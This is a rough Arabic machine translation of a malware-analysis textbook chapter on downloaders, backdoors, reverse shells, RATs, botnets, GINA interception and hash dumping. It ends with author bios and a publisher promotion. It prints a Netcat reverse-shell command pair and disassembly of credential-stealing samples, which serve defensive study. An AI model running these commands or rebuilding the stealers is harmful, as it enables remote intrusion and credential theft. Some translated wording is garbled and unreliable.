
يشبه تحليل البرامج الضارة لعبة القط والفأر: لا توجد قواعد ، فإن الوضع يتغير باستمرار. لذلك ، في هذه الحالة ، من المنطقي دراسة الأشياء والخوارزميات الخالدة فقط. بمجرد مواجهة مهمة حماية الشبكة (أو ألف شبكة) ، ستنتقل إلى هذا التحليل ، ولا يمكنك ببساطة الاستغناء عن هذا الكتاب.
برامج تنزيل وتشغيل البرامج
هناك نوعان من البرامج الضارة التي يتم اكتشافها بشكل متكرر ومصممة لتنزيل البرامج وتشغيلها. التنزيلات (يجب عدم الخلط بينه وبين تنزيلات النظام) ببساطة تنزيل كود ضار إضافي من الإنترنت وتشغيله على جهاز كمبيوتر محلي. وكثيرا ما يتم توزيعها مع استغلال. عادةً ما يستخدمون مكالمتين لواجهة برمجة تطبيقات Windows ، واحدة تلو الأخرى ، لتنزيل برامج ضارة إضافية وتنفيذها: URLDownloadtoFileA و WinExec.
Launcher (launcher) هو ملف قابل للتنفيذ يقوم بتثبيت التطبيقات الضارة لتنفيذها المخفي (على الفور أو بعد مرور بعض الوقت). غالبًا ما تأتي قاذفات مع البرنامج الذي يحتاجونه لتشغيله. سنناقشها في الفصل 12.
أبواب خلفية
الأبواب الخلفية هي برامج تتيح للمهاجم الوصول إلى كمبيوتر الضحية. وهي أكثر أنواع البرامج الضارة التي يمكن اكتشافها ، ويمكن أن يختلف حجمها ومجموعة ميزاتها بشكل كبير. عادةً ما يكون رمز الباب الخلفي مكتفيًا ذاتيًا ولا يتطلب تنزيل ملفات مصابة إضافية.
تتفاعل الأبواب الخلفية عبر الإنترنت بعدة طرق مختلفة ، ولكن عادةً ما يتم نقل البيانات عبر HTTP من خلال المنفذ 80. يشكل HTTP معظم حركة مرور الشبكة الصادرة ، مما يمنح البرامج الضارة فرصة كبيرة لتتجاهل خلفية المعلومات الأخرى.
في الفصل 14 ، ستتعلم كيفية تحليل الأبواب الخلفية على مستوى الحزمة ، وإنشاء توقيعات فعالة للشبكة. في غضون ذلك ، سنركز على التفاعل عالي المستوى.
تأتي الأبواب الخلفية مع مجموعة قياسية من الوظائف: القدرة على معالجة مفاتيح التسجيل ، وحساب النوافذ المعروضة ، وإنشاء الدلائل ، والبحث عن الملفات ، وما إلى ذلك. لفهم أي من هذه الوظائف يستخدمها الباب الخلفي ، يمكنك التحقق من وظائف Windows API التي تستوردها. يقدم الملحق أ قائمة بالوظائف الشائعة التي تصف ما يمكنهم قوله عن البرامج الضارة.
عكس الأوامر شل
shell أمر عكسي هو اتصال يقوم ببدء تشغيل جهاز كمبيوتر مصاب ، مما يمنح الأمر وصولاً إلى مهاجم. يمكن أن يكون إما برنامجًا ضارًا منفصلاً ، أو أحد مكونات باب خلفي أكثر تعقيدًا. أثناء وجوده في غلاف الأوامر العكسي ، يمكن للمهاجم تنفيذ الأوامر كما لو كان كل هذا يحدث على نظامه المحلي.
Netcat عكس الأوامر شل
يمكن استخدام برنامج Netcat الذي ناقشناه في الفصل 3 لإنشاء غلاف أوامر إذا قمت بتشغيله على جهازي كمبيوتر. غالبًا ما يستخدمه المهاجمون بأنفسهم ، ويكملونه ببرامج ضارة أخرى.
لاستخدام Netcat على هذا النحو ، يجب أن ينتظر النظام البعيد الاتصالات الواردة باستخدام الأمر التالي:
nc -l –p 80
يقوم المحول -l بتحويل Netcat إلى وضع الاستماع ، ويحدد المفتاح -p المنفذ الذي تتم مراقبته. بعد ذلك ، يبدأ جهاز الكمبيوتر الخاص بالضحية اتصالاً صادرًا ويوفر غلاف الأوامر الخاص به:
nc _ip 80 -e cmd.exe
ip 80 listener هو عنوان IP ومنفذ المضيف البعيد. يتيح لك الخيار -e تحديد البرنامج الذي سيتم تشغيله عند إنشاء الاتصال. سيتم ربط المدخلات والمخرجات القياسية بالمقبس (كما سترى لاحقًا ، غالبًا ما يستخدم Windows cmd.exe).
عكس النوافذ
يستخدم المهاجمون عمليتي تطبيق shell أمر عكسي بسيطتين تستند إلى cmd.exe في Windows: أساسي ومتعدد الخيوط.
تعتبر الطريقة الأساسية شائعة بين مؤلفي البرامج الضارة ، نظرًا لأنها أسهل في التنفيذ ولا تعمل بشكل عام بشكل أسوأ من النهج متعدد الخيوط. وهو يعتمد على استدعاء CreateProcess وتغيير بنية STARTUPINFO التي يتم تمريرها إليها. أولاً ، يتم إنشاء مأخذ توصيل وإنشاء اتصال مع الخادم البعيد. ثم يتم توصيل هذا المقبس بالخيوط القياسية (الإدخال والإخراج ودفق الخطأ) لعملية cmd.exe. يقوم CreateProcess بتشغيل cmd.exe في وضع بدون نوافذ لإخفائه عن الضحية. يعطي الفصل 7 مثالاً على هذه التقنية.
يتضمن الإصدار متعدد الخيوط من أمر الأوامر العكسي لـ Windows إنشاء مأخذ توصيل ومواسرين ومؤشرين (لذلك ، يجب عليك البحث عن مكالمات CreateThread و CreatePipe). يستخدم مؤلفو البرامج الضارة هذه الطريقة أحيانًا كجزء من إستراتيجية لتعديل أو ترميز البيانات المرسلة عبر مأخذ توصيل. يمكن استخدام وظيفة CreatePipe للربط بقناة القراءة والكتابة ، مثل الإدخال القياسي (stdin) والإخراج القياسي (stdout). تتيح لك وظيفة CreateProcess ربط سلاسل الرسائل القياسية بقناة ، وليس ربطها مباشرة بمقبس. بعد أن يتم استدعاؤها ، ستنشئ البرامج الضارة خيطين من التنفيذ: أحدهما للقراءة من قناة stdin والكتابة إلى المقبس ، والآخر للقراءة من المقبس والكتابة إلى قناة stdout. عادةً ، تكون هذه السلاسل عبارة عن بيانات ترميز ، والتي سنناقشها في الفصل 13. باستخدام طرق الهندسة العكسية ، يمكنك فحص الفروع التي تقوم فيها الجداول بفك تشفير الحزم التي تم تلقيها أثناء جلسة مشفرة.
أدوات الإدارة عن بعد
يتم استخدام أدوات الإدارة عن بعد (RATs) للتحكم في جهاز كمبيوتر أو أجهزة كمبيوتر عبر شبكة. غالبًا ما يشاركون في هجمات ذات أهداف ضيقة - على سبيل المثال ، عند سرقة المعلومات أو الانتقال من كمبيوتر إلى آخر.
في الشكل. يوضح 11.1 بنية شبكة RAT. الخادم الذي يعمل على نظام الضحية مجهز برمز ضار. يعمل العميل عن بعد لأن وحدة التحكم تحت تصرف المهاجم. تشير الخوادم إلى العميل الذي يتحكم فيها لبدء الاتصال. يحدث التشغيل البيني في RAT عادةً من خلال المنافذ القياسية ، مثل 80 أو 443.
الروبوتات
شبكة الروبوتات هي مجموعة من عقد الشبكة المصابة (الكسالى) التي تتم إدارتها مركزيًا ، وعادة ما تستخدم خادمًا يسمى وحدة تحكم بوت نت. الهدف من الروبوتات هو إصابة أكبر عدد ممكن من أجهزة الكمبيوتر وإنشاء شبكة واسعة النطاق بناءً عليها يمكن استخدامها لنشر كل من البرامج الضارة أو البريد العشوائي وتنفيذ هجمات DDoS (رفض الخدمة الموزع). ) إذا بدأت كل الكسالى في نفس الوقت بمهاجمة موقع معين ، فقد يتعذر الوصول إليه.
مقارنة بين RAT و Botnets
هناك العديد من الاختلافات المهمة بين شبكات الروبوت وأدوات الإدارة عن بُعد.
- من المعروف أن الروبوتات تصيب ملايين العقد وتتحكم فيها. يتم تشغيل RATs عادةً بواسطة عدد أقل من أجهزة الكمبيوتر.
- تتم إدارة جميع المشاركين في بوت نت في وقت واحد. يسمح لك RAT بتوزيع الموارد بين مختلف الضحايا ، لأن المهاجم لديه القدرة على التفاعل بشكل وثيق مع الأنظمة المصابة.
- تستخدم RATs في الهجمات ذات الأهداف الضيقة ، في حين أن الروبوتات ملحوظة بأعدادها الضخمة.
سرقة أوراق اعتماد
غالبًا ما يذهب المهاجمون إلى جميع أنواع الحيل لسرقة أوراق الاعتماد. ينطبق هذا بشكل خاص على الأنواع الثلاثة من البرامج الضارة.
- البرامج التي تسرق بيانات اعتماد المستخدم في اللحظة التي يقوم فيها بتسجيل الدخول إلى النظام.
- البرامج التي تنسخ المعلومات المخزنة في Windows (كلمات المرور ، التجزئة ، إلخ) للاستخدام المباشر أو مزيد من فك التشفير.
- البرامج التي تسجل ضربات المفاتيح.
في هذا القسم ، سنلقي نظرة على كل من هذه الأنواع من البرامج الضارة.
اعتراض جينا
يستخدم نظام التشغيل Windows XP خدعة لسرقة بيانات الاعتماد ، والتي تتمثل في اعتراض GINA (تعريف رسومي ومصادقة). تم إنشاء نظام GINA للسماح لتطبيقات الطرف الثالث بتكييف عملية تسجيل الدخول لأنفسهم ، وإضافة دعم لتقنيات مثل تحديد الترددات اللاسلكية (RFID) على أساس الرموز المميزة أو البطاقات الذكية. ينتهز مؤلفو البرامج الضارة هذه الفرصة لتنزيل الشفرة التي تسرق بيانات الاعتماد.
يتم تنفيذ GINA كملف DLL يسمى msgina.dll ويتم تحميله بواسطة Winlogon أثناء تسجيل الدخول. يدعم Winlogon أيضًا المكونات الإضافية للجهات الخارجية ، وتحميلها أمام DLL GINA (كما هو الحال في هجوم وسيط). لتوفير الراحة ، يوفر Windows فرع التسجيل التالي ، حيث يمكن لـ Winlogon العثور على ملفات DLL الخاصة بجهات أخرى وتحميلها:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL
بمجرد العثور على ملف fsgina.dll مصاب هناك ، والذي تبين أنه اعتراض GINA.
في الشكل. يُظهر الشكل 11.2 مثالاً على كيفية وصول معلومات تسجيل الدخول إلى مكتبة ضارة ، حيث تنتقل من Winlogon إلى msgina.dll. تمكن البرنامج الضار (fsgina.dll) من اعتراض جميع بيانات الاعتماد التي يدخلها المستخدم أثناء المصادقة. يمكنه كتابتها على القرص أو نقلها عبر الشبكة.
نظرًا لأن مكتبة fsgina.dll تعترض تدفق التفاعل بين Winlogon و GINA ، يجب أن تمررها إلى msgina.dll بشكل أكبر حتى يستمر النظام في العمل بشكل طبيعي. للقيام بذلك ، يجب على البرامج الضارة تصدير جميع الوظائف التي يتطلبها نظام GINA - هناك أكثر من 15 منها ، ومعظمها لديه بادئة Wlx. من الواضح ، إذا وجدت في DLL العديد من وظائف التصدير التي تبدأ بـ Wlx ، يمكنك على الأرجح افتراض أن هذا هو اعتراض GINA.
تصل معظم مكالمات التصدير هذه إلى وظائف حقيقية داخل msgina.dll. في حالة fsgina.dll ، ينطبق هذا على جميع الوظائف باستثناء WlxLoggedOutSAS. يُظهر الإدراج 11.1 تصدير WlxLoggedOutSAS إلى fsgina.dll.
قائمة 11.1. دالة تصدير WlxLoggedOutSAS في DLL GINA التي تسجل أوراق الاعتماد المسروقة
100014A0 WlxLoggedOutSAS 100014A0 push esi 100014A1 push edi 100014A2 push offset aWlxloggedout_0 ; "WlxLoggedOutSAS" 100014A7 call Call_msgina_dll_function (1) ... 100014FB push eax ; Args 100014FC push offset aUSDSPSOpS ;"U: %s D: %s P: %s OP: %s" 10001501 push offset aDRIVERS ; "drivers\tcpudp.sys" 10001503 call Log_To_File (2)
يتم نقل معلومات الاعتماد على الفور إلى ملف msgina.dll باستخدام مكالمة تسمى Call_msgina_dll_function (1). تقوم هذه الوظيفة بتحديد موقع المكالمة WlxLoggedOutSAS وتشغيلها بشكل ديناميكي من msgina.dll ، المحدد كوسيطة. يقوم استدعاء على الخط (2) بتسجيل البيانات. كحجج ، فإنه يأخذ معلومات المحاسبة ، وسلسلة تنسيق سيتم عرض هذه المعلومات ، واسم ملف للتسجيل. نتيجة لذلك ، يتم حفظ معلومات حول أي تسجيل دخول ناجح إلى ملف٪ SystemRoot٪ \ system32 \ drivers \ tcpudp.sys. يحتوي هذا الملف على اسم المستخدم والمجال وكلمات المرور - الحالية والقديمة.
إنقاذ تجزئات
غالبًا ما تحفظ البرامج الضارة على Windows تجزئات النظام للوصول إلى بيانات الاعتماد. بعد الحفظ ، يحاول المهاجمون فك تشفير هذه التجزئة في وضع عدم الاتصال أو استخدامها للهجوم مثل تمرير التجزئة. أثناء هذا الهجوم ، يتم استخدام تجزئات LM و NTLM لمصادقة NTLM عن بعد ، والتي لا تتطلب فك التشفير والحصول على كلمة المرور المقابلة.
لحفظ التجزئة ، هناك حزم برامج Pwdump و Pass-the-Hash (PSH) مجانية. نظرًا لأن كلا من هذه الأدوات مفتوحة المصدر ، فقد تم إنشاء الكثير من البرامج الضارة على أساسها.
تحتوي معظم مضادات الفيروسات على توقيعات للإصدارات المترجمة القياسية لهذه الأدوات ، لذا يحاول المهاجمون تجميع الاختلافات الخاصة بهم لتجنب الكشف. الأمثلة في هذا الفصل هي أنواع pwdump و PSH التي صادفناها في الحياة الواقعية.
Pwdump عبارة عن مجموعة من البرامج التي تقوم بإخراج التجزئة في تنسيق LM i NTLM التابع للمستخدمين المحليين من مدير حساب الأمان (SAM). يقوم Pwdump بإدخال DLL في عملية LSASS (خدمة النظام الفرعي لسلطة الأمان المحلية) ، والمعروفة باسم lsass.exe. سنناقش تنفيذ مكتبات DLL في الفصل 12 ، ولكن في الوقت الحالي ، تحتاج فقط إلى معرفة أن هذه تقنية تقوم من خلالها البرامج الضارة بتنفيذ المكتبات داخل العمليات الأخرى ، باستخدام جميع امتيازاتها. غالبًا ما تهاجم أدوات حفظ التجزئة التجزئة عملية lsass.exe نظرًا لامتلاكها امتيازات كافية والوصول إلى العديد من وظائف API المفيدة.
يستخدم الإصدار القياسي من Pwdump مكتبة lsaext.dll. عندما يتم حقنه في lsass.exe ، فإنه يستدعي وظيفة GetHash ، التي يتم تصديرها من lsaext.dll لاسترداد التجزئة. في هذه الحالة ، يتم استخدام وظائف Windows غير الموثقة ، والتي ستسمح لك بالحصول على الأرقام التسلسلية لجميع المستخدمين في النظام والتجزئة غير المشفرة لكلمة المرور لكل منهم.
في مواجهة اختلاف Pwdump ، تحتاج إلى تحليل مكتباتها لفهم كيفية حفظ التجزئة. أول شيء يجب الانتباه إليه لوظائف التصدير. يتم تصدير استدعاء GetHash من Pwdump افتراضيًا ، ولكن يمكن للمهاجمين تغيير اسمه بسهولة لجعله أقل قابلية للتمييز. ثم يجب عليك محاولة تحديد الوظائف المستخدمة في مكالمات التصدير. يمكن تحديد موقع العديد منها ديناميكيًا ؛ لذلك ، غالبًا ما تعيد مكالمات التصدير استخدام عملية GetProcAddress.
يُظهر الإدراج 11.2 رمز دالة التصدير GrabHash من DLL لإصدار واحد من Pwdump. نظرًا لأن المكتبة مضمنة في lsass.exe ، قبل استخدام العديد من الأحرف ، يجب أولاً العثور عليها في الوضع اليدوي.
قائمة 11.2. مكالمات API الفريدة التي تستخدمها وظيفة تصدير GrabHash في أحد متغيرات Pwdump
1000123F push offset LibFileName ; "samsrv.dll" (1) 10001244 call esi ; LoadLibraryA 10001248 push offset aAdvapi32_dll_0 ; "advapi32.dll" (2) ... 10001251 call esi ; LoadLibraryA ... 1000125B push offset ProcName ; "SamIConnect" 10001260 push ebx ; hModule 10001265 call esi ; GetProcAddress ... 10001281 push offset aSamrqu ; "SamrQueryInformationUser" 10001286 push ebx ; hModule 1000128C call esi ; GetProcAddress ... 100012C2 push offset aSamigetpriv ; "SamIGetPrivateData" 100012C7 push ebx ; hModule 100012CD call esi ; GetProcAddress ... 100012CF push offset aSystemfuncti ; "SystemFunction025" (3) 100012D4 push edi ; hModule 100012DA call esi ; GetProcAddress 100012DC push offset aSystemfuni_0 ; "SystemFunction027" (4) 100012E1 push edi ; hModule 100012E7 call esi ; GetProcAddress
تُظهر القائمة 11.2 الرمز لاسترداد واصفات مكتبة samsrv.dll (1) و advapi32.dll (2) عن طريق استدعاء LoadLibrary. يحتوي ملف samsrv.dll على واجهة برمجة تطبيقات لسهولة الوصول إلى SAM ، وتم العثور على ملف advapi32.dll للوصول إلى الوظائف التي لم يتم استيرادها إلى lsass.exe. تستخدم المكتبة الديناميكية لهذا التباين Pwdump واصفات هذه المكتبات للبحث عن العديد من الوظائف. يتم عرض أهم خمسة منها في القائمة (لاحظ مكالمات GetProcAddress ووسيطاتها).
يتم استيراد المكالمات المهمة مثل SamIConnect و SamrQueryInformationUser و SamIGetPrivateData من samsrv.dll. يتم بعد ذلك استخدام استدعاء SamIConnect للاتصال بـ SAM ، وبعد ذلك يتم استدعاء الوظيفة SamrQueryInformationUser لكل مستخدم في النظام.
يتم استرداد التجزئة باستخدام استدعاء SamIGetPrivateData ، ثم يتم فك تشفيرها باستخدام دالات SystemFunction025 و SystemFunction027 التي تم استيرادها من advapi32.dll (السطران (2) و (3)). لم يتم وصف أي من وظائف API في هذه القائمة في الوثائق الرسمية.
تحتوي مجموعة أدوات PSH على البرامج التي تنشئ مقالب تجزئة. تُعرف أشهر هذه المقالب باسم whosthere-alt. يقوم بتخزين محتوى SAM الذي تم الحصول عليه عن طريق تضمين DLL في lsass.exe. في نفس الوقت ، عند المقارنة مع Pwdump ، يتم استخدام مجموعة مختلفة تمامًا من وظائف API. يُظهر الإدراج 11.3 رمز الإصدار لـ whosthere-alt ، الذي يصدر دالة تسمى TestDump.
قائمة 11.3. مكالمات API فريدة تستخدمها وظيفة التصدير TestDump من إصدار whosthere-alt
10001119 push offset LibFileName ; "secur32.dll" 1000111E call ds:LoadLibraryA 10001130 push offset ProcName ; "LsaEnumerateLogonSessions" 10001135 push esi ; hModule 10001136 call ds:GetProcAddress (1) ... 10001670 call ds:GetSystemDirectoryA 10001676 mov edi, offset aMsv1_0_dll ; \\msv1_0.dll ... 100016A6 push eax ; path to msv1_0.dll 100016A9 call ds:GetModuleHandleA (2)
نظرًا لأن هذه المكتبة مضمنة في lsass.exe ، فإن وظيفتها TestDump تقوم بإنشاء تفريغ تجزئة. يقوم بتحميل ملف secur32.dll بشكل ديناميكي ويجد استدعاء LsaEnumerateLogonSessions (1) فيه للحصول على قائمة بالمعرفات الفريدة محليًا (LUIDs). تحتوي هذه القائمة على الأسماء والمجالات التي تم الإشارة إليها في كل تسجيل دخول. تذهب المكتبة من خلالهم للوصول إلى المعلومات المحاسبية. للقيام بذلك ، باستخدام استدعاء GetModuleHandle (2) ، تبحث داخل msv1_0.dll عن وظيفة غير مصدرة ، NlpGetPrimaryCredential ، والتي تسمح بإلقاء تجزئات NT و LM.
عن المؤلفين
مايكل سيكورسكي متخصص في الأمن في مانديانت. وهو ضالع في تحليل البرمجيات الخبيثة كجزء من التحقيق في الحوادث وهو مستشار لحكومة الولايات المتحدة لأمن المعلومات. طور مايكل سلسلة من دورات تحليل البرمجيات الخبيثة ويعلمها لجمهور متنوع ، بما في ذلك مكتب التحقيقات الفدرالي والقبعة السوداء. قبل مانديانت ، كان موظفًا في مختبر لينكولن في معهد ماساتشوستس للتكنولوجيا وأجرى بحثًا في طوبولوجيا الشبكة السلبية واختبار الاختراق. بالإضافة إلى ذلك ، أكمل مايكل برنامجًا تدريبيًا متعدد التخصصات لمدة ثلاث سنوات على الأنظمة والشبكات في وكالة الأمن القومي. أثناء التدريب ، شارك في دراسة تقنيات الهندسة العكسية وحصل على العديد من الجوائز في مجال تحليل الشبكات.
أندرو هونيج هو خبير في أمن المعلومات في وزارة الدفاع الأمريكية. يقوم بتدريس تحليل البرمجيات والهندسة العكسية والبرمجة لنظام التشغيل Windows (OS) في المدرسة الوطنية للتشفير ، بينما هو متخصص معتمد في أنظمة المعلومات. على حساب أندرو عدة ثغرات يوم صفر لمحاكاة VMware الافتراضية ، بالإضافة إلى أدوات للكشف عن البرامج الضارة المبتكرة ، بما في ذلك وحدات النواة المصابة. بعد عشر سنوات من الخبرة كمحلل في مجال أمن الكمبيوتر ، يعتبر بحق خبيرًا في تحليل وتفسير البرامج الخبيثة والعادية.
»يمكن العثور على مزيد من المعلومات حول الكتاب على
موقع الناشر على الويب»
المحتويات»
مقتطفاتبالنسبة لـ Khabrozhiteley خصم 20 ٪ على القسيمة -
سيظهر تشريح الجثة